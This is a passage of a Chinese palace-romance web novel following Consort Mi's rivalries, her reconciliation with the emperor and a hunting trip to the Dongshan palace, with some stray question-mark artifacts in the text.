昔日江素素从来看不上眼的女子,居然做了?这?宫里的娘娘,可真是可笑。 虞明裳未出现之前,江素素时常出入柳府,柳江两家早就有择定?亲事的意思。 她?从小就盼着自己嫁入柳家,直到有一日,她?偷听到柳表哥居然违背姨母的意愿,执意要求娶虞家女,甚至不惜离开柳家门庭,放弃柳氏在上京的百年基业。 她?从未有过的嫉妒。 没人知晓得知虞明裳当选入宫,她?有多高兴,迫不及待等着宫里传出虞氏女受人迫害,打入冷宫的音讯。 她?日日盼着,谁想,三年过去,虞明裳不止做到了?妃位,甚至诞下龙凤双胎,盛宠不衰。 江素素要气得呕血。 江素素没有做礼,她?才不会对虞明裳卑躬屈膝,位子做得再高有什么用,倘若皇上知晓她?过去的事,她?不信,虞明裳还能像今日一样风光。 她?冷冷笑道:“宓妃娘娘是否太高看自己,难道你忘了?,你们虞家当初初入上京,你是如何勾引柳大人,引得柳大人对你痴心?,让姨母动怒?” 明裳捏紧手?中的帕子,眼光一寸一寸冷下来,她?掀起眼,朝江素素看去。 女子乌黑的青丝挽做朝云髻,鬓间簪镶嵌八宝石的玉罗翡翠,戴步摇金钗,眉心?点红梅金箔,那张芙蓉面是故人面貌,那双柳叶眼却?雍容华贵,有宫中高位者的压迫自厉,不似故人,骇得江素素下意识后退半步,心?头猛跳。 月香早不想惯着江素素,当初江素素因娘娘与柳公子走得太近,没少给娘娘下绊子。 她?不动声色地上前斥声:“江二小姐慎言,宓妃娘娘是位居妃位,想要降罪二小姐,轻而易举。” 江素素恨恨咬唇,虚张声势,“轻而易举?” “难不成皇上当真不介意宓妃娘娘曾经与柳大人之间的苟且之事?” 话音落下,稍许,明裳毫不在意地笑了?,她?扶着月香的手?起身,一步一步走过去,一双美?眸定?定?地盯着江素素,直把江素素逼迫到围栏,再退一步,她?就要掉入湖中。 江素素骤然变色,渐渐生?出惧怕,她?惊惶道:“虞明裳,你是宫里的娘娘,我?也是朝臣的家眷,你难不成还要把我?扔到湖里?” 明裳挑眉,这?倒是个好主意。 她?眼底漫不经心?,“你知道你方?才所说,传到皇上耳朵里,先死的不会是本宫,而是你吗?” 江素素心?头一跳,眼神忽闪躲避,她?又不傻,怎会不清楚,更何况事关柳家,江柳两家盘根错节,她?也不敢乱说。只能将这?个秘密烂在肚子里,否则她?这?么恨虞明裳,早就想她?遭厌弃,死了?算了?。 她?气得冷哼了?声,却?没有反驳。 明裳早知江素素就会耍弄嘴皮子功夫,人又蠢笨,没那个胆子。 她?凉凉扫了?一眼,“二小姐年岁与本宫同龄,你说若本宫向皇上请旨,为你赐婚,皇上会不会给本宫这?个脸面?” 江素素脸色霎时一白,她?到现在未嫁,就是对柳絮白仍不死心?,她?手?心?猛抖了?下,害怕虞明裳说得并非玩笑。 她?指尖几乎嵌到皮\\肉,气得声音轻颤,“你敢!” 明裳没心?思再与她?多言,和江素素说了?这?么多,只怕招人耳目,她?低下声,最后警告,“江二小姐清楚本宫一向是个睚眦必报的脾气。” 这?番话,彻底点醒了?江素素。 她?记起自己发?现柳絮白喜欢虞明裳的第二日,她?偷偷往虞明裳送给柳家三夫人的茶点中放了?巴豆,被虞明裳发?现,她?居然把她?引到没人的地方?,没说一句话就把她?扔进了?湖里。 她?要找姨母告状,结果反被倒打一耙,虞明裳还有脸扮作小白花,楚楚可怜地诬陷是她?自己脚滑掉进去,江素素在柳府一向对虞明裳颐气指使,没有人相信江素素,也没有人看清虞明裳这?张漂亮可怜的脸蛋下藏着多少心?机。 江素素脸色顿时青白。 …… 回了?内殿,明裳低声问?月香亭中四?周可有人,去查的辛小五已经回来,禀说并没人看见。明裳不动声色地敛起眼光,抬眸时,面庞因殿内晕黄的光泛出柔和的媚色,就连坐在旁边的贤妃不忍多看了?两眼,“宓妃娘娘容色过人,可叫我?好生?艳羡。” 明裳掩唇,毫不吝啬地夸赞,“贤妃姐姐端庄贤淑,才是让妹妹望尘莫及。” 瞧瞧,这?人美?,说话也好听,可想而知,皇上为何独独宠爱宓妃这?么久。 贤妃没想过与宓妃为敌,只可惜宓妃没有一个太后姑母,仔细想想,皇上忌惮世家,也幸而宓妃没有一个太后姑母,才得以这?样荣宠。 这?时有外邦朝臣举杯,说庆贺之词,又进献一斛稀世东珠。那东珠颗颗圆润硕大,色泽晶莹,世所罕有。 贤妃没忍住多看了?两眼,可真是好看。嫔妃席位自也有人去看,目光殷羡,可惜这?东珠罕见,除非皇上甚宠赏赐,否则唯有妃位以上的嫔妃才有所得。 半个时辰后,殿内一众人跟随皇上太后前去西苑赏菊。 中秋宴散去,已至暮晚, 明裳回永和宫后,先去看了?绥儿安儿,两小只吃了?奶,正睡着,明裳看了?一会儿,才回寝殿。 沐浴出来后,月香手?执篦子为娘娘梳头,明裳懒懒地躺在窄榻里,月香见娘娘眉眼轻松,不禁疑问?,“娘娘今儿不用梳妆接迎圣驾吗?” 明裳指尖儿抚过腕间的手?钏,“今日十五中秋,皇上即便不会去坤宁宫,也不会来本宫这?儿。” 不然,岂不是拂了?太后的脸面。 如明裳所想,李怀修今夜确实没想过召人侍奉,他换下常服,坐在銮座里翻看奏疏,敬事房的小太监过来,他眼皮子掀也没掀,抬手?让人下去。 寿康宫的人来过一回,母后的意思,让他去看看皇后,但李怀修没那个心?思,他不想做的事,没人能勉强。 …… 中秋过后,圣驾准备前去东山,再过两日就要离宫,明裳依依不舍地抱了?又抱两个小团子,即便知没多少时日就会回宫,她?仍有些难受。 李怀修到永和宫,没让人通禀,进殿就见那女子怀里抱着女儿,眼睫上挂着晶莹的泪珠,惹人心?生?怜惜。 他走过去时,明裳发?现了?他,埋到李怀修怀间,犹犹豫豫地软声,“不然,臣妾还是留在宫中,不跟皇上过去了?。” 李怀修脸色不虞,他不明白,不过分?别月余,这?女子为何这?样舍不得两个孩子。 “圣旨一下,朕岂能朝令夕改?” 明裳编着借口,“臣妾便说身子不适,又不是什么大事,皇上为臣妾遮掩就过去了?。” 她?这?谎话倒是张口就来。 李怀修不满道:“你不去,就不怕朕宠幸了?旁人?” 怀中人小脸犹豫了?一会儿,看看儿子,看看女儿,又仰起脸蛋看看他,只得割舍一个,忍痛道:“那皇上回宫后可要答应臣妾,对臣妾宠爱如初,那人也不能胜了?臣妾。” 李怀修扳指倏然一紧,手?背青筋爆出,脸色又沉又难看,念着两个孩子在,才忍下怒火,“你当朕是什么!” 他的宠爱,于她?而言可以招之即来挥之即去? 他在她?眼里,就这?么容易割舍? 明裳怔了?下,眸子茫然,“皇上不是说过,臣妾之外,还有旁人。” 倒是用这?女子提醒他了?! 是啊,他是皇帝,他是这?大魏的江山之主,何故整日要围着一个女子转,心?神都?牵挂到一个宠妃身上。 怕是自己被这?只妖精迷惑得失了?神志,连他都?忘了?自己的身份。 李怀修刚进永和宫,没过片刻,又拂袖离开。 皇上出殿时,那脸色阴的,吓得全福海心?惊胆战,一阵后怕。 听到圣驾离开的动静,明裳回忆自己方?才说过的话,仍有不解,她?不知皇上为何那样生?气,那位多次警告,这?后宫不止会幸她?一人,她?听话懂事,皇上为何还会那般震怒。 她?心?中生?悔,又有后怕。思量许久,见天色尚早,吩咐膳房备上清火的羹汤,待晚膳送去乾坤宫。 …… 李怀修也不知自己在气什么,那女子居然能轻易说出让他宠幸旁人之语,纵使他之前待她?始终是这?个意思,但真正从她?嘴里说出来,仿似一根锋利的刺,狠狠扎了?他一记。 李怀修心?里堵着火,回了?乾坤宫,劈手?砸了?一只茶盏,没给任何人好脸色,吓得全福海压根不敢靠近伺候。 不知宓妃娘娘怎么得罪了?皇上,让皇上这?般震怒。 直到暮晚,宓妃娘娘的仪仗到了?九级汉白玉台阶下,全福海麻溜小跑下去,躬着身子迎人。 见全福海态度如此殷切,明裳猜想想必是连他都?吓到了?。 幸而,全福海进去通禀后,皇上还愿意见她?。 明裳轻轻舒了?口气,走进内殿,殿里燃一炉龙涎香,御案上换了?一套新?的茶盏。她?福身上前,轻轻把手?中的食盒放下。 “臣妾吩咐膳房做了?羹汤。” 那声音软软的,求和的态度,透着点心?虚。 李怀修撂了?笔,眼皮子未掀,靠到銮座上,不徐不疾地转着扳指。 也不搭理?她?。 明裳轻含红唇,坐去男人怀中,手?臂环过李怀修的脖颈,露出一截雪白的皓腕,她?眼尾泛红,楚楚可怜,“臣妾知错了?,皇上别生?气了?。” 她?来时,刻意描了?妆容,眉心?点着金箔花钿,这?样好的容色,任谁都?会忍不住动心?疼惜。 李怀修喜爱她?这?样,忽然又气她?这?样。她?为哄他宠爱,什么都?做的出来,可哪件事是真的上心?。 他沉着脸,忽伸手?掐住明裳的脸蛋,似笑非笑,那笑意却?不达眼底,“知错?” 明裳迟疑地点了?点头,不知是不是她?的错觉,她?从男人眼中,看出了?比在永和宫时更盛的怒气。 “朕问?你,你何处错了??” 明裳抿唇,她?在永和宫的几个时辰,一直在想这?件事。她?何处错了??她?错在,回的那番话,没把这?位放在心?上。皇上可以怜她?宠她?,却?不容许她?随意将这?分?宠爱,弃之一旁,赠予旁人。 她?确定?了?心?底的想法,没有立刻答复这?句,而是从怀间,摸出一个祈福的络子,捧到李怀修面前,“臣妾并非不记得编给皇上的这?个络子,而是臣妾始终没有想好,为皇上编何花样。” 李怀修接了?络子,微怔。 明裳贴去男人温热的胸怀,“原是想编同心?梅花络,拆到最后,臣妾还是为皇上做了?万福结。” 她?声音又软又委屈,“臣妾什么都?不求,只盼皇上万岁,顺遂平安,能一直这?样护着臣妾和臣妾的孩子们,就心?满意足了?。” 李怀修眼目沉沉地盯着掌中金线编织的万福结,那股憋着的火气,不知何时,随着这?女子的温声软语,早已消散干净。 他扯了?扯唇线,无声去抚明裳的青丝,动作无意间泄出柔意,最终,只是不轻不重地斥她?一句,“你倒是会哄朕。” 有意逗她?,“朕要真的万岁,还不成了?老妖精了?。” 生?老病死,人伦之理?。他只望李朝江山永驻,至于长生?万岁,从未妄求。 明裳噗嗤笑出声,挥去男人思绪。 “皇上是老妖精,那臣妾就是小妖精。” 李怀修盯着女子这?张千娇百媚的脸蛋,又不动声色地移开目光,心?道,还是一个会魅惑君王的小妖精。 …… 圣驾离宫那日,明裳依依不舍地放下儿子女儿,离开寿康宫。宫门外,她?正要乘上妃嫔仪仗,全福海气喘吁吁地跑近通禀,“皇上传宓妃娘娘去圣驾侍奉。” 众人眼光下,明裳上了?最前的帝王车辇。 跟随队伍的南昭王李怀洲没有乘坐马车,余光扫见故人,打马近前,拱手?做礼,“柳大人。” 柳絮白从远处敛回眸色,从容回礼,腰间温润的玉坠轻晃,举手?投足间,颇有儒士之风。 见此,李怀洲不禁心?中啧啧,别看柳絮白待人接物有多温和,他可是见过这?位带兵剿匪的英姿,落剑之快,简直杀人不眨眼。 第094章 第 94 章 东山行宫不?比皇城, 幸而随行圣驾仅嫔妃九人,住处尚且宽敞。 皇后自然而然拨给了明裳距议政殿最?为相近的绾阁,旁人即便心里有异议, 也不?敢当?面发?作。 车马颠簸, 皇后分配好宫所后,犯了头疾, 回寝殿歇下,吩咐各宫无要事不?得求见。 明裳回到绾阁,更衣洗去一路地?风尘, 没等要歇下一会?儿,就听见外面喧哗的人声?。 东山行宫不?比皇城阔达,稍微闹出大的动静听得清清楚楚,她疲惫至极,原是不?想去管, 谁想那争吵声?吵得她头疼, 似乎有奔着她这绾阁来的架势。 明裳不?耐烦地?往耳垂上挂回了刚卸下的耳铛, 吩咐绘如出去看看是生了何事,闹得争执不?休。 那争执的二人果真是奔着明裳的绾阁而来,绘如回殿讲明了缘由, 乔答应与韩宝林不?满各自宫所的分配, 要去求见皇后娘娘,因皇后娘娘头疾歇下,伺候皇后娘娘的大宫女请两位主子离开,二人未得见皇后,无法, 才找到东山行宫位居妃位的明裳。 明裳本懒于理会?这事儿,大底是乔韩二人忧她不?为做主, 不?顾宫人阻拦,已经哭哭啼啼奔进了绾阁。 “求宓妃娘娘为嫔妾做主!” 乔答应以帕掩面,泪如雨下,好似受了天大的委屈。 那哭声?哭得明裳太阳穴连着跳了两下,她不?耐地?拧起眉心,仅戴了两支钗环,未施粉黛,扶着绘如的手走?出屏风。 韩宝林似是怕宓妃听乔答应哭得可?怜,心软袒护,也用帕子捂住脸,偏生掉不?出眼泪,只能干巴巴地?呜咽两声?。 在宫里,能哭出来也是本事。 两人相继做了礼,明裳身子倚着凭几,漫不?经心地?把玩指尖的丹蔻,没立即让二人起身。 起初乔答应哭得热火朝天,渐渐地?,得不?到宓妃反应,不?明所以地?悄悄抬了抬眼,见宓妃看也没看她一眼,哭声?慢慢消了下去。 过两刻钟,殿内才算安静下来。 明裳掀起眼朝跪地?的二人看去,“不?哭了?” 乔韩脖颈莫名抖了一下,后宫里皇后贤妃理事,宓妃娘娘位居妃位,素来是不?管六宫事务,但比之皇后与贤妃管理后宫的手段,宓妃一向人不?犯我我不?犯人,她们对宓妃则是摸不?清楚。宓妃柔肤貌美,在她们眼中自然不?比皇后贤妃高高在上,洞明自持,不?知为何,当?下却觉得是自己想错了。 这宓妃娘娘好似比皇后贤妃还不?好糊弄。 乔答应一咬牙,额头叩到地?上,“嫔妾不?该扰了娘娘清净,可?韩宝林实在欺人太甚,求宓妃娘娘为嫔妾做主!” 她红着眼睛,柔柔弱弱,要多可?怜有多可?怜。 这般梨花带雨,装模作样,气得韩宝林咬住牙根,她辩解道:“娘娘莫听信乔宝林一人之言,枫林本是嫔妾的住处,乔宝林却哭着求嫔妾相让于她,嫔妾不?愿,乔宝林不?仅不?罢休,还谎称枫林原是皇后娘娘指给她的,口口声?声?要去请皇后娘娘做主。” 明裳第一回到东山行宫,对这行宫的住处不?甚了解,乔韩二人争抢枫林,难不?成枫林当?真有何特别之处? 她挑了挑眉,绘如适时附耳提醒,这枫林绕过后院的枫叶林,再走?上一段路,就是议政殿。 有得见皇上的机会?,谁会?轻易放过。 乔韩二人都不?傻,不?想白白让旁人得了好处。 韩宝林说完之后,乔答应又?开口与她争执,乔答应一面哭着,气势却不?输韩宝林一星半点。 两人争执一番,仍没有结果,明裳已经听得不?耐烦,拧着眉心,面有薄怒,冷声?斥道:“行了!” 乔韩两人被唬了一跳,倏然噤声?,乔答应不?敢再哭,只是吸着鼻子抽咽。 殿内安静了一会?儿,明裳不?咸不?淡地?扫了二人一眼,“既然都想要枫林,那就谁都别想住了!” 两人倏地?抬头,一脸难以置信,异口同?声?,“娘娘!” 韩宝林不?满明裳的发?落,语气不?好,“枫林是皇后娘娘指给嫔妾住的地?方,宓妃娘娘轻易让嫔妾换了住处,怕是违背皇后娘娘的意思。” 她就差明着说,宓妃娘娘倚仗圣宠,一宫独大,不?把皇后娘娘放在眼里。 韩宝林以为,有皇后娘娘压着,宓妃娘娘不?敢把她怎样。 她神色不?卑不?亢。 明裳眼睛看向她,冷笑了声?,“韩宝林说本宫违背皇后娘娘的意思,不?如韩宝林直接去请皇后娘娘发落你二人之事,何必来求见本宫?” “皇后娘娘默许你二人到绾阁,就是将你?二人的处置交给本宫,难不?成,这还不?是皇后娘娘的意思?” 韩宝林脸色时青时白,压低了头,忙道:“嫔妾不?敢。” 谁不?知,这六宫皇上最?为偏宠宓妃,六宫中诞下皇嗣,却能跟随圣驾到东山狩猎唯有宓妃一人。离宫时,众目睽睽之下,皇上亲点宓妃伴驾,她一个小小宝林,怎敢与宓妃抗衡。 韩宝林气焰削弱。 枫林本不?是乔答应住处,只是乔答应得知宓妃处置的结果,仍心有不?满,这宓妃娘娘可真是不近人情,乔答应撇了撇嘴。 两人正?要回各自宫所,忽听外面小太监通禀,圣驾到绾阁,二人眸色皆是一亮,乔答应眼底瞬间氤氲出水雾,起身间,似体?力不?支,极为柔弱地?软在相扶的宫人怀中。 李怀修进到绾阁,看见的就是这番情形,他眼底闪过一抹惊讶,紧接着才见出殿恭迎他的女子。 他抬手扶起人,“今儿你?这儿怎的这般热闹?” 不?等明裳回话,那乔答应先哭出了声?,又?一番梨花带雨,“求皇上为嫔妾做主!” 乔答应这样能哭,这后宫里怕是没人能比过她这项本事。 韩宝林也不?甘落后,跪下身请求皇上做主。 一个两个的争宠都敢闹到她面前了,当?她是多好欺负。 李怀修眸色淡下来,指腹推了下扳指,他尚未开口,身前原本温顺的女子好似护食的猫儿炸了毛,眉眼凌厉,“本宫做以好言相劝,你?二人还如此不?满,依照宫规,不?遵上位,手笞二十,本宫念你?们初犯,罚抄经书?二十卷,手笞减十,还不?下去领罚!” 原本乔韩二人到绾阁请宓妃主持就是存了宓妃受宠,能在这儿见到皇上的心思,乔答应有意描妆一番,谁料还不?等她做戏,宓妃先将她轻易发?落。 她不?甘心道:“皇上尚未决断,宓妃娘娘就此做主不?也是不?敬上位!” 李怀修唇线倏然拉平,目光沉黑,他愿意纵着的人,还轮不?到旁人轻言置喙。 全福海觑了眼皇上,知晓这乔答应敢当?着皇上的面得罪宓妃娘娘,是要彻底失了圣宠,他正?要有眼色的上前为宓妃娘娘说话,却见皇上抬手,漫不?经心地?示意他不?必动作,全福海便又?退下身。 跪地?的乔答应以为皇上不?开口,就是对宓妃生出不?满,而韩宝林则是审时度势地?没有附和,她紧了紧手心,耳边只听着乔答应在哭。 明裳没有因乔答应的污蔑生恼,反而浅浅勾了勾唇,轻飘飘道:“本宫敬不?敬上位自有皇上发?落,与乔答应何干?” 她转过身子,攀附住李怀修的手臂,眸里流光,“乔妹妹说臣妾不?敬皇上,皇上要如何处置臣妾?” 那双眼珠半嗔半恼,仿似李怀修当?真要以这个罪名发?落了她,日后就别想进永和宫的门。 这女子的性子还真是愈发?娇纵,李怀修脸色变来变去,十分精彩,最?终无奈地?由着她做戏,“朕罚你?明日陪朕骑射。” 陪皇上骑射,旁人求都求不?到的幸事,这倒底是惩罚还是奖赏? 乔答应身子僵硬,艰难地?动动双唇,“皇上……” 再看向跪地?的二人时,李怀修神色生出一丝厌烦,原本到绾阁歇歇神,又?被扰到现?在不?得清净。 他面无表情地?吩咐全福海,“依照宓妃的话,带回各自宫中惩戒。” 全福海忙躬着身子,一抬手招来两个宫人,带乔韩二人出绾阁,这两位主子得罪谁不?好,居然敢得罪宓妃娘娘。 …… 乔韩两人未到绾阁之前,明裳本是要歇下睡上一会?儿,好不?容易打发?了两人,又?迎来这位。 用过晚膳,明裳摸摸吃撑的小腹,想要出去走?走?消食,她指尖儿揪了揪男人的衣襟,仰起明媚的脸蛋撒娇,“皇上陪臣妾去廊下走?走?吧。” 李怀修晚膳没用上多少,这女子倒是食欲大开,他手背摩挲着那张脸,目光微暗游移。 最?终,明裳只得换了消食的法子。 她雪白的脖颈柔弱无力地?伏在男人怀间,细眉时舒时蹙,无所着落,如水中漂泊的浮萍,粉嫩的双唇时而溢出声?声?口今口我。 …… 翌日天明时分,那位就已经离开,明裳动动酸疼的腰身,不?知皇上为何那般精力旺盛,分明赶了大半日路,也不?见疲累。 到东山后,皇后让各宫不?必过去问?安,明裳得以多睡两个时辰,她醒时,刺目的光线穿过帷幔,似乎已经到了晌午。 她卷着衾被,放空稍许,揉了揉额角,唤宫人进殿伺候。 用午膳时,明裳才得知,皇上一大早起身看过宫里送来的奏折,就与跟随的朝臣去山中狩猎,大底是要暮晚才回。 明裳吃过午膳,闲着无事,又?不?用照看两个孩子,出绾阁时,昨日未仔细去看,才见东山拔地?而起之势,山峰连绵,巍峨高耸。 她下了台阶,月香欢天喜地?地?从外面跑进来,怀中抱了只软乎乎的小团子,她捧到明裳面前,明裳才看清,居然是一只黑黄交杂的幼犬,眼珠乌黑,毛发?通体?油亮,捧在月香怀间,却也不?怕生,乖乖缩成一团,由人抱着。 “奴婢方才过桥时,从桥底下捡到的。” “娘娘快看,像不?像阿花!” 阿花是明裳入京后养的小毛团子,甚是护主,可?惜后来随她去花灯节时意外走?失。 明裳心下微动,她正?要接入怀里,忽然想到她已入宫,宫中养犬,怕有一日会?做旁人把柄。 她指尖动了下,又?忍心地?收回手,“送去牺牲所养着。” 月香诧异,正?要问?娘娘为何不?带回宫中,话音止住,正?是因为那是皇宫,才带不?得。她懊悔地?福了身子,“娘娘别伤心,是奴婢欠妥当?。” 遂抱着怀里的幼犬,不?舍地?往牺牲所走?去。 …… 皇后休息一夜,身子舒坦些,她坐在窄榻里,听宫人通禀昨日生出的事。得知乔韩二人闹去了宓妃处,结果早有所预料。 她随口问?道,“如今枫林可?是空了?” 文竹为皇后揉着额角,“御前的人看着,韩宝林连夜搬出去了。” “御前的人?”皇后眉心一动,轻笑出声?,那笑意却未及入眼,转了话音,“舒贵人呢?” 舒贵人也在东山狩猎此行中,不?过昨日到行宫后,舒贵人一直安安静静,没再去御前送羹汤。 文竹如实回话。 内殿燃着安神的熏香,皇后不?徐不?疾地?敛下眸子,察觉出一丝不?同?寻常。 …… 时至后午,烈阳高照,东山西林一隅扬起漫漫尘烟。 李怀修翻身下马,顺手把鞭绳扔给内侍,随行的王公大臣紧随其后,相互恭迎彼此的御射,负责捡拾箭矢的宫人拎着自家主子打下的猎物从后服侍,前头两御前宫人抱着一条红毛皮的火狐狸,小步快跑紧跟皇上。 到议政殿,李怀修点着狩得猎物最?多的前三人赏赐,待屏退了人,他才得空坐到御案后,捧着猎物的宫人入殿,请皇上示下该如何处置。 那红毛皮的火狐狸极为罕见,李怀修有意射中此物双脚,使?其不?得跑走?,没损坏那层毛皮。此时留着血已被包扎,仍旧活着,哀鸣两声?。 他没有怜惜,捻了捻扳指,先去看御案呈的急报,“送去绾阁,问?宓妃想要用来做成何物。” 李怀修本是想着将要入冬,送给那女子做个狐皮围脖手捂,暖身子。他处理过政务后,待去绾阁,却是看见地?上躺着一排他狩到的猎物,那女子正?蹲着身子,心疼地?抱着那只火狐狸,小心翼翼地?往那畜牲腿上上药。 见到他,那女子抬了脸蛋,眼圈通红,与他埋怨,“皇上快瞧,也不?知是谁到山中狩猎,这般漂亮的小狐狸都不?放过。” “臣妾问?那些宫人,他们也不?说。” 明裳虽知狩猎会?有射杀山里的兔子狐狸,不?该如此做想,但当?亲眼见到,就是另一桩事。那些宫人请示她可?否要剥皮做垫子,她哪能当?真忍心去下吩咐。 李怀修脸色霎时难看。 全福海惊了又?惊,震惊地?看看宓妃娘娘,又?看看皇上,送猎物的宫人还算聪明,没说这些东西都是皇上打到的,不?想宓妃娘娘如此心善,疼惜这些小畜牲。 不?过以往也有嫔妃在宫宴假意大发?善心,声?声?斥责狩猎之过,皇上却理都没理,毕竟,这大魏朝就是马背打来的天下,谁敢置喙。不?知皇上会?对宓妃娘娘什么态度。 李怀修抿唇,轻咳两声?,不?得已地?遮掩,“都是永照为讨好朕,送到朕这儿的。” “你?要是心疼,待养好了,朕命人放回山里。” 全福海精神一震,眼珠立时瞪圆。 第095章 第 95 章 全福海卷袖摸了?把额头的汗渍, 忙去附和道:“奴才这就把这些兔子?狐狸送去牺牲所照料。”心底不禁道,这牺牲所又是兔子?又是野鹿又是狐狸,不知道有多热闹。 他与随侍的小太监弯下腰, 一人抱了?一只小畜生离开。伺候的宫人们上前清扫, 明裳与李怀修走?去了?内殿。 明裳换了?身?衣裳,跪坐下身?素手添茶, 她脸上生出?苦闷,“臣妾知道皇上吩咐宫人送来是想由臣妾挑选,既来狩猎, 臣妾不该谈那些话。” 许是她生下孩子?后?多了?母性?,见不得那些残杀的血迹。 明裳挪动身?子?,贴到那人怀里,极为拧巴的一张小脸,似是怕他会因此生气。 这女子?平时被他宠坏了?, 娇纵得没个分寸, 难得小心讨好于?他。纵使她只奉了?一盏茶水, 还没做什么,李怀修莫名被哄得舒坦,他揽人入怀, 一本正经道:“这回便罢了?, 要是见不得猎杀,明日朕教你骑马射叶子?。” 明裳从未骑过马,眸底发亮,生出?些期待。想到本该今日就去围场,又因昨夜那事耽搁, 红着?脸嗫嚅:“皇上答应教嫔妾骑马,今晚可要让臣妾好生歇一夜。” 话中?带着?点幽怨娇嗔, 李怀修下意识抬手摸了?摸鼻骨,觑向明裳,记起?昨晚怀里那张满面潮红,妩媚至极的身?子?,他眼光闪过一抹意动的晦暗。 李怀修少时精力就胜于?几?个兄长,鲜少有疲累。镇守边关那几?年,他领兵伏击,在大漠中?行兵月余,甚至有三天三夜从未合眼,以草根充饥,跟随的士卒接连倒下,最后?从大漠活着?走?出?来不过十余人,皆成了?他手下最为勇猛的悍将。 他垂下眼光,无意把玩女子?的耳珠,“朕听说你捡了?一只幼犬,你若喜欢,朕回宫让牺牲所给你养几?只成色好,温顺喜人的。” 明裳摇了?摇头,伏在他胸怀,软声,“臣妾照顾两个孩子?尚且无暇,哪有时间去养幼犬,更何况,在宫里伤了?人可怎好。” 这女子?聪慧,总是顾虑得多。想起?她曾经被一只野猫伤过,在宫里养这些猫狗确实?不妥。 李怀修没再提,手臂抱着?软乎乎的人,鼻翼下是那股熟悉的甜香,并不是六宫那些熏人的脂粉味儿让他生腻,反而好闻得紧。 他问她平常用什么香。 “给朕送来几?炉。”又想他一国之君,用这些甜香实?在不像话,“罢了?,你用着?就好,不必送给朕。”日日闻着?这女子?足矣。 明裳用的熏香一向是自己调配,隔几?日换一回新鲜的香薰,今儿好似是玫瑰花露。 她美?眸撩起?来,有意揶揄,“皇上也喜欢女子?用的香?” 李怀修脸色铁青,掐住她的脸蛋训道:“朕是闻着?舒坦,才赏脸让你送来,不知好歹。” 旁人想给他进献尚且寻不得门路,她还敢戏弄他,当真是胆子?肥了?。 皇上娘娘在内殿中?,宫人候在外头伺候,没人敢进去。 直至日薄西山,明裳散着?青丝,腰抵长案,呼吸微微,满面芙蓉绯色。李怀修手握一卷书册,倚着?窄榻,另一手则持一支莹玉的簪子?,不徐不疾地推了?两下。每送一下,明裳呼吸就是一紧,她漂亮柔嫩的脚趾紧紧蜷缩,指尖死?死?扣住长案的沿儿,泪珠子?扑簌簌从眼眶流下,哽咽着?嗓音恳求,却难说出?一段话完整的话。 她咬唇生着?闷气,不知这位怎这般记仇。 李怀修放下书册看她,屈指又敲了?两下簪子?,明裳足尖儿抵不住,直接软到了?他怀里。分明已生产过,那张脸蛋仍是又纯又欲,抬起?眸时直撩得人心猿意马,催肝入肠。 偏生明裳此时注意还都在那支玉簪上,软下身?段去求男人一分怜惜,李怀修哪会真的怜惜她,不徐不疾地盯向她那处,稍许,才捻了?捻扳指,大发慈悲地拿出?来。 用晚膳已经是一个时辰之后?,明裳双腿虚软,由宫人扶着?,饥肠辘辘地坐到食案后?,方才沐浴时,那位又被政事叫走?了?,明裳愤愤不平地喝着?羹汤。 伺候在旁的月香瞧见娘娘这般情态,即便不识人事,伺候娘娘侍寝三年,哪还不明白。方才沐浴的时候,瞧见娘娘雪肤的痕迹,她心疼得想哭,皇上分明待娘娘极为宽和纵容,为何偏生在这事上不知怜惜。 她轻叹一声。 用过晚膳,明裳神色疲倦,除去外衫,准备要歇了?,这时,绘如又急步走?近内殿,“娘娘,出?事了?,春轩匾额坍塌,伺候舒贵人的人宫女忠心护主,当场被砸死?了?!” “什么?”明裳骤然起?身?,这事发生在宫里算不上大,但此时东山狩猎,随侍圣驾的朝臣不知多少,万不能传扬出?去。 她披上衣裳,“皇后?娘娘过去了?吗?” 绘如近前为她系对襟的扣子?,挂了?香囊,“皇后?娘娘闻讯已经赶去了?。”她也有后?怕,“娘娘,明日奴婢吩咐造纺所到绾阁检查修缮。” 明裳点头交给她去办。 此时春轩内情形混乱,台阶下的匾额□□涸的血迹浸染,四分五裂,听说那宫女是当场被砸死?,尸体?已经搬走?,尘土弥漫在殿门前,明裳入殿用帕子掩住了口鼻,没敢去门口的血水,皇后?娘娘在殿里主持盘问,舒贵人瘫坐在窄榻里,面容煞白,吓得浑身?发抖,后?来的嫔妃见到那团血污,汗毛倒竖,触目惊心。 皇后?审问过伺候的宫人,那宫人还未换衣,浑身?尘污狼狈,战战兢兢,犹有后?怕,她回忆着?当时发生的情形。 主子?听闻皇上从绾阁离开回了?议政殿,亲自做了?羹汤送去御前,她在前头提灯引路,迈下台阶,正想请主子?小心脚下,耳边听一声惊呼,匾额坍塌下的巨响震耳欲聋,她瞳孔骤然缩紧,吓得连连后?退,就见主子?摔到台阶下面,而圆儿被埋在了?废墟中?。但……她害怕地咽了?咽唾,藏去生出?的想法,不知是不是她看错,圆儿好似不是为护主砸死?,而是被主子?推去的那匾额之下。 这桩事看似倒是一桩意外的巧合。 殿内到的人面面相觑,一时谁也没有说话。 皇后?没问出?什么,起?身?走?到窄榻边,舒贵人的情绪渐有平复,她哭红了?眼,说话时颤抖的声音尚存着未褪去的惊惧。皇后安抚地拍了拍她的手臂,“本宫已经命人去通传皇上,给你另换住处。” 殿外传进宫人的通禀,李怀修已经看到门前的狼藉废墟,他目光沉下来,踏进内殿,在场的人走?过去接驾。 李怀修扫过一眼,极为地自然地抬手扶起?明裳,才让众人起?身?,随行的嫔妃不禁艳羡地朝宓妃看去,许是宓妃也来得匆忙,未施粉黛,鬓发间仅簪了?一支钗环,可那身?姿容貌,仍是她们无可追及的。 皇后?也在殿中?,明裳不想在这么多人面前逾矩,落人口舌,她垂着?眸子?,想要不动声色地推开,李怀修却是挑了?下眉,看出?她的意思,没由着?她,手掌握紧,力道之下,明裳险些身?形不稳,扑到男人怀里。李怀修不动声色地扶她站稳,才放开手。 旁人看不到皇上暗中?对宓妃的袒护,半躺在窄榻里的舒贵人,却是将皇上暗中?扶起?宓妃的动作看在眼里。她移开眼,手心捏紧,并不甘心。 皇后?习以为常皇上对宓妃的宠爱,待皇上准允起?身?,才通禀春轩匾额之事。 李怀修负手往内殿走?,“命造纺所连夜修缮各殿匾额,再生出?这种事,让那管事的提头来见。” 殿内众人倏然一滞,圣驾亲行狩猎,造纺所出?如此纰漏,倘若砸伤了?哪位贵人,这条命才是真的到头了?。皇上能再给一次机会,已是大恩。 皇后?屈身?应下。 